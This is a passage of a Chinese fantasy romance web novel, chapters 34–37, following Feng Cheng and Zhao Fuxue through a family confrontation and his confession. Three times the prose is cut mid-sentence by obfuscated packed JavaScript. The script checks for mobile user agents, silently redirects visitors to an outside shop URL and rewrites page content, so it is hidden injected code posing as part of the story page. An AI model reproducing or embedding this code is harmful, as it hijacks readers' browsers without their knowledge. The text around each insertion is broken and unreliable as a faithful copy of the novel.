这么多人,他心想。 洛京的人,多得叫人心慌,一个人融入洛京人群中,就如同一滴水回到了沧海汪洋里一样,满京城穿着鹅黄外裳的女子这么多,能从赵家门口排到天机院门口,可他茫然地站在人群之中,独独寻不到一个封澄。 34. 第 34 章 赵负雪少年时的院子,已经许久未启用了。 赵家在对待这位公子的时候,几乎可以称之为严苛,故此时他的屋子,虽有家仆时时收拾打扫,却依旧是冷冷清清,好似一座冷庙。 屋内燃着有些闷的沉水香,年老的妇人不苟言笑,坐在床边,皱眉盯着床上的少年。 赵负雪现在的样子,以狼狈二字来形容是不过分的,他雪白的额头上沁着汗珠,哪怕身边家仆为他擦拭,仍止不住他冒出来的冷汗,俊雅好看的眉毛紧紧地拧在一起,本就雪白的脸更是惨白,而眼皮下的眼珠却时时转动,好像在做什么极为可怖的噩梦。 见他如此,周寻芳偏头道:“折腾成这样子,没出息。” 话虽这么说着,她还是催促:“药呢?煎药这么久,即便是炼一炉子丹,也该炼出来了!” 手下人忙跪下道:“老尊者,不是下面人不用心,而是咱们整个大夏最好的医修都在这儿了,可仍然看不出公子身上的一点儿毛病。” 顿了顿,手下人又道:“只说公子心火上涌,悲痛交加,一时不清醒。” 周寻芳不怒自威:“哦?原来是自个儿把自个儿折腾成这样的?” 她也不急了,也不催了,站起来,便向门口走去:“好好一个孩子,出去转了一圈儿,回来便这样了,可见这一圈儿转得不对。去查,这些日子里经了什么事,见了什么阿猫阿狗,统统给我查过来。” 下面人不敢迟疑,跪地行礼,闪身出去了,周寻芳正要离开之际,便听到床上的赵负雪呢喃有声。 修士耳聪目明,更何况像周寻芳这等活了几百岁的大修,她不用走过去,赵负雪的声音便再清晰不过了。 “你……在哪。” “封澄。” 此时此刻,把整个赵家搅合得灯火通明的封澄却躺在屋顶上。 天机院的瓦片与旁的地方不同,这烧瓦的泥取材于灵气充盈的蜀中一带,故天机院学生修行间,便能取得蜀中灵气,且蜀地灵气属木,温和柔润,也适于人修养。 她躺在这里,头边摆着一壶酒,那酒已经被喝了一半,剩下的一半撒了半个屋顶,那酒壶里也只剩下个底。 这酒买的有问题,又辣又烧,封澄的酒量常年居于一口与半口之间,一时心慌,一口便灌了半壶烈酒,当即便醉得连自个儿姓什么都忘了,夜间的冷风将她的酒意吹去些,她昏昏沉沉地坐起来,茫然地想:“我跑哪儿来了?” 再一想:“这什么时候了?” 回应她的是腹中无与伦比的饥饿、夜枭的啸叫,与天机院再熟悉不过的屋顶。 她剩下的醉意当即被吓飞了。 “天地祖宗,这都什么时候了,赵负雪该急疯了!”封澄手忙脚乱地撞下来,踩着院中桃树便要向着客栈飞奔而去,正要出去,人却愣住了,心下暗道一声糟糕。 对了,她要买酒,却只有整银,于是便顺便缴了房费,和老板换了散银子买酒。 这下等赵负雪回到客栈,该不会误认为她不辞而别,结了帐就走? 抬眼一看,月升得并不高,照着她与赵负雪平常的生活,此时不一定回客栈,她心下暗暗祈祷,踩着天机院的院墙就要出去,不料脚刚落在墙头,一股无比熟悉的酸麻感就从脚底一路攀升到天灵盖,她心头一颤,不由得想:“原来天机院开始在院墙上布阵,是这时候的事。” 又一琢磨:“不对,劲儿还不够大。” 这阵布得极为狡猾,一麻,便有束缚阵法将人捆住,封澄着急,又没醒酒,手脚施展不开,竟被这阵法结结实实地捆成了个蚕蛹,她焦急蹦跶两下,不料脚下一软,噗通栽倒在地。 她双目空白地仰面躺着,仰面正好对上几把铮亮的剑。 赵年这几日过得不顺,于是火气便分外大些,今夜见有逆徒顶风作案,当即亲自出动了,一心要看看这个头一日便踩着火盆勇冲的好学生是哪位奇人。 不料看到地上那人的一脸菜色时,赵年的手一抖,险些拿不稳剑。 她失声道:“是你!?!” 封澄艰难的对准焦,被酒意侵吞的大脑终于混混沌沌地辨认出了来者。 “不好,”封澄心中一急,登时蹦起来,蚕蛹一样蹦上了墙头,一头扎了下去,“这人看我不顺眼,此时被她抓住,一时半会儿,又不得脱身了。 “等等!”赵年急切道:“你回来!” 鬼才会听她的话,封澄滚落在地上,使了个巧劲儿挣开身上束缚,抬腿便向客栈冲去:“当我傻的,这时候留下,岂不是要被你折腾来折腾去?” 当赵年一众翻到封澄的落点时,只见到一地的残符,被符捆着的人早已不知去向。 “院长……这?”身后的人小心请示。 赵年脚尖将残符碾了碾,沉吟片刻:“不追,即刻回去禀报老尊者,就说封澄踪迹有了。” 顿了顿,她又垂眸,将地上的残符收入眼中:“这个阵,不行,墙上灵流再加,狠狠的加。” 、封澄在奔向客栈时,只觉得好像有许多天机师在洛京中飞来飞去,她并未将其放在心上,不过血修这么招摇过市也是麻烦,于是她便寻了个小路,悄悄地溜到了客栈中。 她倒吊在窗上,顺着窗户看了一眼,屋子整整齐齐,被褥也收拾好了,全然不见赵负雪的踪迹,封澄心下了然,转身便翻了上去,开始向赵家奔去。 赵负雪定然是火冒三丈了,封澄昏昏沉沉的大脑艰难地思考,平常她溜上一两个时辰,赵负雪寻不到她,她回头便要对上这一张冷脸,现下丢了三四个时辰,更不用说了,赵负雪没当场气死,还算他近日修行有加了。 她心下又懊恼;“怎么临走时就说了那么一句话,叫他不要跟过来?他木头一块,脑子又过弯,要是以为我和他一刀两断了,又该如何是好?” 说到底还是赵负雪那只奇怪的糖人,封澄的心口砰砰直跳,她按着自己的胸口,熟稔地躲开又一波搜查的天机师,换了一条小道,继续向赵府摸去。 那糖人着实令她看不懂了。 无论是从前的赵负雪,还是之后的师尊赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579578|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负雪,有一点是毋庸置疑的。 他从不示弱,从不低头,封澄清楚地知道,后世的赵负雪重病难行,浑身上下只剩一股精神气撑着了,可即便是虚弱至此,他也从不在外人面前示弱。 若非封澄在他屋顶上睡过几夜,听到过赵负雪夜不能寐的痛楚,连她也几乎被糊弄过去。 耳边的风呼呼作响,不知是酒意还是焦急,封澄的胸口跳得不似寻常。 可他偏偏低头了。 “为什么?”封澄心想。 询问答案的勇气,在接过糖人的刹那便烟消云散了,她几乎是销毁证据似的将糖人咔咔嚼碎,若无其事云淡风轻似的。 封澄清晰地知晓,对于那问题的答案,逃走,是她唯一的念头。 赵家的大门就在面前,此时已是深夜,偏偏赵家附近还有不少天机师进出,出入定然麻烦,封澄皱眉思忖片刻,浆糊一样的大脑果断地作出选择。 她从腰间抽出了隐匿符。 赵负雪的手笔。 赵家即便是出入再麻烦,也不至于把将来家主的符咒拦在外面。 何况这是赵负雪的符,作为后世的百家皆通之人,赵负雪的符道,可谓是年纪轻轻便登峰造极了。 她贴上隐匿符,果然顺顺利利地混过了盘查的赵家天机师,顺顺利利地摸进了赵家后门里。 双脚落地,封澄对自己不住唾弃。 当年初入赵府,还是家主亲自从大门带进去的,后面她走得频繁了,行走赵府比行走天机院还方便,现在竟然沦落到了贴着隐匿符翻墙的程度,可谓是越活越回去了。 虽这么想着,封澄还是很诚实地向着赵负雪的院子走去了。 赵负雪不是乱跑的人,如果不在客栈,一般就是回赵家了。 可走到一半,封澄又犯难了。 家主的院子她熟,可赵负雪现在的院子又在哪里? 思来想去,她忽然想起当年,赵负雪为她安置客房时。 他否决了下面人提出的安排,将她送到了一处有些偏僻的小院中。 小院简洁,却收拾得干净整齐,院中还载了一株桃树,生得和鸣霄室外一模一样。 莫名地,封澄便向那边走去了。 她后知后觉地反应过来。 那应当是赵负雪少年时的居所了。 封澄很轻松地便翻进了屋子中,此时这院子里并没有什么人,只有屋中的药香昭示着里面是有人的。 她睁着朦胧的醉眼一看,果然,赵负雪躺在里面。 只是皱着眉头,看起来睡得并不安稳。 封澄见到赵负雪的刹那,心口一直提着的那口气便松了。 “还好,”她心想,“找到你了。” 这个念头出来的刹那,封澄一直忽略的醉意与疲惫便如潮水般汹涌而来,她困倦不已地走到床边,随意拖了个凳子来,便趴在赵负雪的身边,睡着了。 此时夜凉,唯能听到她越发均匀的呼吸声。 远远处天光乍亮,竟是隐隐天明了。 35. 第 35 章 赵负雪重新拥有意识时,感觉到了身边有规律的呼吸声。 他有些迷茫地眨了眨眼,他的院子里惯常不要人陪侍,更不会有人留下过夜,怎么会有人在他身边趴着呢? 窗外已是黎明,隐隐熹微下,他俯身探下去,墨似的长发顺势而下,流在雪白的里衣上。 趴在床边的少女被灿金勾勒出毛茸茸的线条,温暖而柔软,好像一只熟睡的小兽。 赵负雪的心口怔住了。 恍然间,他怔怔地想,是在做梦吗? 他的手不由自主地触摸到了封澄的发顶,以近乎贪婪的姿态听着她的呼吸声,竟从中咂摸出了一股大梦初醒的怅然感。 正在此时,封澄悠悠醒转,赵负雪手一抖,匆忙将手收回,脸上霎时调整到了无比平静的那副表情上。 封澄迷迷糊糊间只觉得有人摸得她怪痒,她当即惊醒,摇了摇头坐起来,一眼便看见赵负雪偏着头,冷着脸,看向窗外。 她当即一把握住赵负雪的手,情真意切道:“赵公子,我不过离去一会儿,你怎么就把自己折腾成这副样子,连药罐子都煮上了?” 毫不意外地热脸贴冷屁.股了,赵负雪并不理他,甚至连一个眼神儿也没分给封澄,他好像突然被窗外的什么东西夺走了注意力一样,封澄一见便心道一声糟糕,可偏生又是自己不辞而别,不占理。 于是她又好声好气道:“赵公子,转过头来呗?叫我看看你,我昨日喝得多了,醉倒在天机院里了,这不一醒就来找你了?” 昨日? 赵负雪猛然回头,只觉得气不打一处来,那些悲伤痛楚失落统统随着这股火气一路儿飞到了九霄云外:“昨天?你说是昨天?” 封澄偷眼看去,黑乎乎一碗药冷在床头,她顺手端过来,小声地道:“没错啊,不就是昨天嘛。” 赵负雪只觉得人要被她气死过去了。 这药一日要喝一次,光他醒来有意识的时候,便喝了三碗药了。 原先只觉得是惹恼了封澄,又贸然行动吓坏了她,现在一想,竟是她不知做了哪门子烂柯人,把日子过混沌了去! 封澄举着药碗,由且不觉:“这药冷了,我去寻人给你换一碗。” 正要起身之际,忽然身后被大力一拉,封澄一个不防,险些一把将药碗打翻,她恼怒回头,瞪着始作俑者——他的手还粘她身后衣摆上,并无半分挪开的意思。 “药差点打翻了,”封澄道,“你不要这么幼稚,赵公子。” 谁料赵负雪一抬手,将她端在手中的碗捞在手中,面无表情地一仰头,抬手便喝了干净,随即他的手非常自然地探到封澄腰间,从中捞出了一方雪白的帕子,擦了擦嘴,才慢条斯理道:“坐,哪儿也用不着你去。” 一碗冷药,就这么稀里糊涂地进了伤号的喉咙,封澄震撼得无与伦比,她缓缓道:“赵家日子什么时候如此艰难了,连一碗热药都不肯煎——公子,你一声令下,我即刻带你逃出这破落地,你跟着我吃香喝辣去吧。” 赵负雪凉凉道;“这口流氓腔调哪里学的,像诱拐良家姑娘的地痞。” 封澄:“……” 赵负雪又走近两步,低下头来,目光中氤满了她看不懂的情绪:“不过要想带我走,也不是不行。” 开玩笑,要是真带着赵负雪跑了,赵家那帮老东西不得活扒了她的皮,封澄告饶道:“赵公子千金贵体,金枝玉叶,我开玩笑的,您老别当真。” 赵负雪又逼近两步,封澄惊恐地发觉自己已然被他逼进了一个堪称狭窄的角落,他嗤笑道:“瞧你这点儿胆子,我又不会扒了你的荷包,敢说不敢做,丢不丢脸。” 温热的呼吸打在封澄耳畔,带着赵负雪身上独有的冷香,封澄只觉得脑子一阵阵嗡鸣,她终于忍不了了,眼疾手快地顺着赵负雪的胳膊下便钻了出去,狼奔豕突地便向外跑。心中暗骂道:“我不伺候了,赵负雪这一口冷药简直把脑子都吃坏了,行为举动,处处古怪!” 正往外跑着,忽然眼前一撞,封澄一个不及,竟然直直栽进了来者的怀里,她抬眼看清来者全貌,登时卧槽一声,忙退后几步,恭恭敬敬地行礼道:“老尊者。” 来者正是赵负雪的祖母周寻芳,封澄心中暗道一声完蛋——赵府规矩大得出奇,她昨日着急,又是用隐匿符又是翻墙的,压根没过明路,碰上周寻芳这种既强横又极讲规矩的人,当真是理也没有,跑也没法。 果然,周寻芳一见面前封澄,便冷了脸色:“阿雪,何人。” 赵负雪上前一步,一手将封澄揽到自己身后,随即恭恭敬敬道:“祖母,这是我在外的友人,早些日子递了拜帖的,名叫封澄。” 周寻芳不过一个打眼,便冷笑了:“封澄?这就是封澄?” 封澄沉默了,赵负雪心中奇怪,这话说得倒像是早有耳闻一般,想了想,他还是道:“是,这便是封澄。” 话音未落,周寻芳猛地一抬手,只见一道雪亮灵光宛如带刺毒蛇,径直向着封澄奔去,封澄躲闪不及,抬手便是灵气对冲,见那血色灵气浮现,周寻芳的脸色更为难看,她冷哼一声,抬手便是轰然灵流,千钧一发之际,赵负雪却拦在了封澄面前。 周寻芳缓声道:“阿雪,何意。” 赵负雪沉声道:“祖母,她是我友人,千里迢迢送我回洛京,已是辛苦至极,赵家如此,绝非待客之道。” 周寻芳却冷笑了,她缓声将这二字咂摸透了;“友人?” 赵负雪神色不变,冷凝如霜,道:“友人。” 周寻芳还是住手了,她嗤笑一声:“阿雪,从你爹娘的事情里头,你便该知晓,赵家这种地方,容不得一个情种。” 她身量极为高大,莫说是和暮年女子作比了,即便是和男子相较,也能够称上一句高大。周寻芳的脸上是冷色,紧抿的唇上是固执或者是坚毅的某些神色,赵负雪的目光霎时平静下来,他安安静静地道;“阿雪并未有一日忘怀。” 周寻芳道:“莫要于儿女情长上浪费了时日,阿雪,你的路还在后头。” “自去领罚。” 说罢,她也不待赵负雪回答了,周寻芳拂袖便走,跟在她身后的赵年一众紧紧地跟随她而去,赵年的目光似有迟疑,她深深地看了封澄一眼——封澄的神色看不出波动来。 赵负雪略略垂着眼睛。 忽然,周寻芳的身后传来一道似笑非笑的女声。 “什么烂规矩,他就是错了如何,天塌下来吗?” 周寻芳勃然变色,她猛地回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582297|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,怒声道:“你说什么?” 一旁的赵年一见这样子便太阳穴直跳——她就知道这血修不是个省油的灯,这副样子她着实眼熟,一见,便是要开始找事了。 赵负雪一抬头,眼睛似乎有些亮。 封澄站起身来,冷笑道:“所谓第一天机世家,不见诸位对着魔族下手,反倒是自家规矩比天大,他错了什么?只是说了几句话,便要去领罚?” 她几乎冷笑起来:“赵公子重伤未愈,没折在外头魔族的手里,反而是先被自家人伤着了。” 许是长煌大原上混得久了,封澄见不得这种莫名其妙对着自己人下手的行径:“赵公子这身伤从哪来的?他孤身对上回魂人魔,被神经兮兮的厉鬼捅了一身的伤,几乎丢了半条命。” 她道:“诸位做了什么?在洛京大讲规矩,我把重伤的赵公子送回养伤,都要提前三日交拜帖!若非我们有朋友相助,赵公子死在外面,将他尸身送回的人都要提前给你家递拜帖!” 封澄的话又快又密,越说越上火:“才来洛京一日,有什么事不能等他好了再说?这人由不得你们折腾,他,我带走了。” 说着,她反手一拉赵负雪的手腕,转头就向外走去:“我们走。” 赵负雪不自觉地跟她走了两步,周寻芳被封澄一顿抢白惊得半晌回不了神,此时此刻才反应过来,她重重地咳了一声,盯着赵负雪向前的一小步,怒其不争道;“等等。” 赵负雪猛然回神,他尴尬地站定了,轻轻地拉了拉封澄的手腕;“封澄。” 封澄一回头,抬眼瞪他:“我都打算杀穿赵家带你出去了,赵公子,你刚才还说和我走的。” 他摸了摸鼻子,周寻芳竟然慢慢地笑了起来:“有意思,许久没人敢在我面前这般叫嚣了。” 身旁跟着的赵家一众也傻了,一是为封澄之放肆狂妄而震撼,另一则是因周寻芳的笑意而震撼。 “阿雪,”她道,“你脱下衣服来。” 封澄当即就要跳脚,赵负雪却轻轻地按住她,转身便脱了外裳。 她抬起头,愣了。 那日她亲手处理的、赵负雪周身的大小伤口,全然消弭,这具堪称国色的男体上干干净净,无一丝伤痕。 他抬手便把衣服又穿上了,周寻芳道:“你自与她说,你回来几日了。” 赵负雪道:“今天当是第五日了。” 封澄:“……” 封澄:“???” 周寻芳欣赏着这位狂妄小崽的脸色:“我赵家血脉,自有天生秘法,外器之伤,鲜少致命——你以为第一天机世家,是随便拉过几个修士来,就能做得的吗?” 她转身,示意赵年继续说:“所谓收拜帖,更是从无此事——不过这大概要公子亲自来解释了。” “另外,所谓领罚,不过是将公子送于藏书室,抄书罢了。” 封澄终于定在了原地,周寻芳好整以暇地看着她,忽然笑了:“倒是有几分胆气。” 在众人探寻的目光下,封澄掐着身边赵负雪的手腕,恨不得挖个坑就地埋了。 良久,她才从齿缝里艰难地挤出一句:“赵负雪。” “嗯?” “太不厚道了。” “嗯。” 36. 第 36 章 片刻,茶水上来,封赵二人与周寻芳对面而坐。 茶水很香,是那种嗅一嗅都要花钱的香气,封澄看到对面的周寻芳端起茶杯,慢条斯理地喝了一口,抬头道:“我本以为是个野丫头,没曾想,是个狂野的丫头。” 封澄:“……” 封澄不动声色地喝了一口茶。 赵负雪瞥了她一眼;“烫。” 封澄觉得这个流程非常熟悉,熟悉到了一种令人胆寒的地步。 细细一想,赵负雪带她来赵家这一趟,她当真是把他的长辈得罪完了。 又是在阵修的大阵中威胁要赵年的命,又是冲到赵家家主的脸上叫嚣要带着赵家公子私奔。 想道此处,封澄恨不得这一壶滚热的茶水浇在她的头上了。 说到底还是怪赵负雪,封澄转过头,狠狠地瞪他——若不是他搞出什么拜帖的名字来拖延,她又怎么会误会赵家拿乔耽误赵负雪病情? 若不是他唧唧歪歪装病,她又怎么会跑到洛京来? 正瞪着他,赵年便在一旁落座了,紧接着又是几个赵家叔伯姑婶地依次于下首坐下,赵年不轻不重地打量了封澄一眼:“不过,回来得时候正好,这野丫头误打误撞的,倒是恰好赶上了时候。” 封澄微微偏头,有些疑惑。 上首的赵家一众已然井然有序地向周寻芳汇报起来,封澄见机行事,小声询问赵负雪;“赵院长在说什么?赶上了什么事情?” 赵负雪盯着她鬼鬼祟祟凑过来的脸,一时有些出神,半晌,才道:“我赵家地下喂着一头护国大兽,百年睁眼一次,宫里那边本算的是今年冬日复苏,没曾想这几日便醒了。” 顿了顿,赵负雪又道:“镇国兽提前苏醒,是凶兆。” 封澄摸着下巴,明白了。 就像在长煌大原打仗一样,惯行巡视是规矩,突袭作战是特例。 她转念一琢磨:“可大夏多年来风调雨顺,哪里来的大凶,能让护国大兽提前苏醒?” 一转眼,她脸色凝住了。 这一年的大夏,的确没出什么大事。 出事的是赵负雪。 赵负雪低着头,喝了一口茶水:“大兽的‘吃食’还存在崔家那里,我们已向崔家递了信,明日,你便同我一起去取‘吃食’。” 封澄心中慌乱,却也觉得赵负雪这话奇怪。 按理说,护国大兽苏醒之事重大,外人根本不能掺和进去,她一介外来的修士,还是血修,去取吃食,听着便荒谬。 想也不想地,封澄便道:“我不去,你的活儿自己去做。” 赵负雪顿了顿,转过头去,沉默了。 封澄一见——得,委屈上了。 自打赵负雪以为她离去而分别五日后,封澄便明显地觉察到,赵负雪和之前似乎完全不一样了。 从前的赵负雪像块冷冰冰的石头,又冲又硬还动不动开口呛人,现在倒像是一锅石头突然被煮成了开花的米,虽然味道淡淡的,但咕嘟冒泡,温软又粘稠。 她索性不去想这些,这几个月来日子过得忙乱,她只顾着赵负雪装出来的伤势,竟然忘了他真正的命劫! 上面赵氏一众由且说个不停,忽然,封澄站起来,几步走向周寻芳,她不顾周寻芳愕然的脸色,沉声道:“晚辈无礼,对于大兽苏醒一事,我有线索要报,还请老尊者遣散众人。” 赵家众人齐齐一怔,随即反应过来,勃然大怒道:“你是哪里来的人?竟然在赵家放肆!” “护国大兽乃赵家机密,你是如何得知它苏醒的?” 听到这句话,周寻芳与赵年的眼神似有似无地飘到了赵负雪身上,赵负雪神色镇定,稳稳地喝了口茶。 周寻芳倒也不急:“有什么事,不能当着众长老的面说?” 从前护国大兽提前苏醒,不过是嗅到了天灾,水灾火灾兵灾蝗灾等等,可今年四处的天机师都报无灾无恙,这便是奇了怪了。 封澄道:“这事容不得一点差错,知道的人越少越好。” 顿了顿,她轻轻地笑了:“在座中若有心怀不轨之人,误了这件大事,哪怕我把人千刀万剐了,也追悔莫及了。” 此言一出,便如同往烧沸的滚油里凭空浇了一壶开水,当即炸得赵氏族老们议论纷纷起来,几个脾气大的,拍着桌子便破口大骂,这种场面封澄见得多了,八风不动地站在原地,就当他们放屁。 赵负雪却上前一步,站在封澄身边:“除了封姑娘,难道各位还有大凶之事的线索?诸位还是稍安勿躁,听从封姑娘之言吧。” 赵负雪发话,众人便不好发作了。周寻芳皱皱眉道:“都下去。” 众人齐齐行个礼,不忿地下去了。 周寻芳道:“此事只有你我与阿雪,能说了吗?” 谁料封澄却面色凝重,转向赵负雪:“你也下去。” 赵负雪当即露出了个疑惑的表情,周寻芳皱眉道:“阿雪乃赵家将来的家主,定不会做出于世人不利之事,何必叫他也下去。” 封澄不言不语,只是道:“都已经下去这么多人了,难道还差赵公子一个?” 周寻芳还待再问,赵负雪却早已转头走去:“祖母少费口舌了,她犟,随她。” 说着,赵负雪便踏出了正堂的大门,冰清玉洁地走出去了。 周寻芳:“……” 周寻芳的目光落到了封澄身上,神色不定道:“这天下竟有人犟得过他,当真是一大罕事了。” 封澄回头看看,转过身来,嗤笑道:“您信他?他定然在不远处听着,要么就画了听符。” 说着,封澄低下头来,撕下一张纸,并不说话,反而蘸墨写道:“凶兆出在赵负雪身上。” 周寻芳当即脸色大变,封澄手下不停,又写道:“命有大劫,应于今年冬。” 写罢,封澄一抬手,指尖窜出火苗,几下便把残纸烧得干干净净,随即便转了身,道;“我说的话句句当真,现下算算,距离那日已不足半年,老尊者该找人算算具体是什么东西,便早些去算算吧,该提前拦的消息、该提防的人,也要心里有个数。” 她只说了这一句话,转身便向外面走去,临走到门边时,身边便有一声幽幽道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592412|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你好狡猾。” 封澄微微一笑:“彼此彼此。” 如若在世上选一个与赵负雪打交道最多的人,毫无疑问便是封澄。 师徒二人,从前的相处并不融洽,少不了斗法之时。封澄在漫长的相处中摸出了一个道理。 赵负雪其人,话少,但绝对会用行动解决一切问题。 嘴皮子上的,都是浮云。 封澄呵呵冷笑——小师尊修炼不到家,若是大师尊在这儿,那屋中备来写字的纸定然会突发意外,变成烧不坏的纸了。 二人一路无言,封澄不说,赵负雪也不问,他闷闷地跟她走了两步,忽然道:“封澄。” 封澄头也不回:“嗯?” 赵负雪道:“你从前,是不是认得我?” 晴天一道霹雳砸下,封澄额角当即沁出冷汗,她不动声色地停下脚步,道:“为什么会这样想?你我初见难道不是古安吗?” 赵负雪的眼神轻飘飘地移开,他的眼底霎时有些深色。 “只是感觉,”他道,“你好像从来不是多喜欢和人呆在一起,为什么偏偏要死缠烂打地留在我身边。” 封澄顿了顿,笑了:“这有什么奇怪的,赵公子长得好看,知慕少艾,人之常情。” 她的语气还是像她平常那般玩笑,带着几分夸张口气,拿腔拿调的模样。 此时最恰当的反应应当是会心一笑,或者是故作生气或者怎样,反正不要认真就对了。 偏生此时,赵负雪不知从哪横生出了一根逆骨,忽然便不想恰当了。 于是他停住了脚步,玉白的手指猛地拽住了封澄的袖口。 来势汹汹,赵负雪心里知道,此时攥住她的手腕,将她压到墙角,或者低头逼近她——这样才像严肃的态度,才像非要一个答案的决心。 可做出动作的刹那,他的手却拽在了封澄的袖子上。 离她的手腕,虚虚一掌的距离。 “不能冒犯了她,”赵负雪心想,“不能轻慢了她。” 封澄被一拽,有些意外,探头:“嗯?” 赵负雪顿了顿,沉声道:“你说我长得好看。” 封澄疑惑:“有眼皆知。” 赵负雪道;“知慕少艾。” 封澄慢慢地觉得大事不妙:“等等……” 赵负雪深吸一口气,抢道:“既然如此,我能不能觉得,你心悦我。” 庭院骤然起风,封澄抬起眼,赵负雪的眼睛隐隐有些红,她下意识地矢口否认:“你疯了球儿了,赵公子,我没有!” 他却不松开紧紧攥着她的手:“你不心悦我?” 封澄连连摇头:“肯定不!” 她本以为这一句话后,赵负雪一定会松开手,没曾想赵负雪的眼睛紧紧地盯着她,握着她的手却毫不松开。 “你不喜欢我?” 封澄慌忙道:“绝不,毫不,根本不。” 赵负雪深吸一口气:“那好。” “封澄,你是我心中之人。” “我只想问一句,你的身边,会不会有我的位置。” 37. 第 37 章 许是夏日的缘故,天气也有些炎热,修道之人按理来说不畏寒暑,可现下封澄却觉得自己浑身越来越热,仿佛置身于十八层地底之下。 她浑身又冷又热,几乎听不清赵负雪说的什么话,良久,她平息了自己的心跳,奇迹般地平静下来:“你说什么?” 赵负雪当即就要再复述一遍:“我是说……” 封澄后退一步,转头就走,越走越快;“你冒犯了,说的什么我都没听见,今天就当你什么都没说过。赵公子,你不是还有事情要做吗?你……” 忽然间,她的衣袖又被拉住了。 赵负雪似乎对她的衣袖情有独钟,封澄低头看看,心道:“要不下次做衣服,就做窄袖吧。” 封澄觉得他接下来的举动,无非是将方才的话再说一遍,或者是再强硬地说些别的话,再或者加些什么动作——戏本子里无非就是这套。 谁料赵负雪松开了她的手,轻声道:“你等等,我不说这些了。” 封澄回头看着他,怔怔地放下了手臂,莫名道:“等等什么。” 赵负雪深深地吸了一口气:“我并非是要你什么回答,只是想让你知道我的心意。” 此时此刻,封澄只想叹气。 少年情思,大抵是东一日,西一日的,没有长性,今日喜欢,明日便生厌,世间白头到老的夫妻尚有相看两厌的时候,更遑论未经世事的少年? 这样一时上头的情思,封澄面对过许多,无一不是时候到了,便自行消散的。 只是这次面对的人不一样了,封澄狠狠地叹了口气。 她并不是傻子,这事儿,封澄从他衣襟里抖出两条鹅黄色的布条时就大致有了些猜测,只是不敢去细想。 面前的,可是她的师尊——少年时的师尊也是师尊。 奇了怪了,封澄心乱如麻,不过短短数月,她那冷若冰霜的师尊,如何就坠入恨海情天了? “我心里有人了。”封澄想了想,道,“赵公子,抱歉。” 她一点儿也不想体验少年赵负雪追人的手段——师尊做起这种事来,无论是大的还是小的,只会令她发毛。 他从来就不会是为情所困的人,更不会停在什么人的身边。 长痛短痛,不如不痛。 赵负雪听闻此话,先是一怔,紧接着脸色唰一下惨白,封澄甚至觉得他下一秒就要摇摇欲坠地倒下了。 良久,赵负雪还是平静道:“是那日,在轿子里的人。” 什么轿子? 封澄一时有些迷茫,赵负雪紧接着道:“海洛斯的幻境中,你亲手杀的那个披着盖头的男人。” 封澄一窒,她一言难尽地抬起眼,深深地看了赵负雪一眼。 “你手抖了,”赵负雪干脆利索道,“我看到了。” 这样想也好,省得她再费口舌,封澄正要应和,谁料赵负雪紧跟着上一句:“可你杀了他——可见你即便是心中有他,也不多。” 说着,赵负雪目光灼灼地盯着她,他喉结几次滚动,似乎是有话要说,可又强吞了下去。 封澄被赵负雪这突然神奇的脑回路骇得险些跪了,她眼珠一转,飞快思考接下来的应对之道。 谁料赵负雪几次犹豫,又开了口:“若是你们两厢情愿,鹣鲽情深,我定然无话可说,可既然他在你心中的分量没有多重,我为何不能迎难而上?” 此言掷地有声,言之凿凿,震耳发聩。 封澄几经生锈的大脑艰难运转,这极为耳熟的话在耳边几度回响,她似乎在无数场景听到过这句话。 比如说不怀好意的外室,意图勾引官老爷时。 半晌,即便封澄不愿相信,她的心中还是缓缓地得出了一个结论。 天塌了,赵负雪连做三的打算都有了。 这个结论给她的冲击前所未有之大,封澄的腿当即一软,随即扑通一声软倒在地。 赵负雪一怔,急忙弯腰来扶她,封澄见了他,却活像见了鬼一样,连滚带爬地起来,以平生未有的速度跑了。 “封澄!”赵负雪焦急道,“你要去哪儿?!” 回答他的只有惊鸟的扑腾声,以及封澄远远传来的怒骂。 “你疯了吧!!” 这几日极为平静,不知为何,去崔家取“口粮”的事情迟迟未提上日程,封澄躲了几日赵负雪,次次见他便贴着墙角开溜,时候一久,就连周寻芳也察觉到不对了。 于是封澄便被礼数周全地请进了周寻芳的茶室。 这间茶室想来是上了年头的,封澄小心进来,只觉得处处雅致,东西皆是上了年头的、连她也叫不出名来的好东西,屋中香气幽雅,仿佛已然沁入了这些陈设之中,封澄见着新奇,便靠近,轻轻地嗅了嗅。 “既然来了,便到里面来坐。”周寻芳道。 封澄一惊,连忙应了一声,有些忐忑地走进了茶室的内部,坐在了周寻芳的对面。 上了年纪的老尊者,行动间却仍然利落,她将一盏茶递到封澄面前,示意。 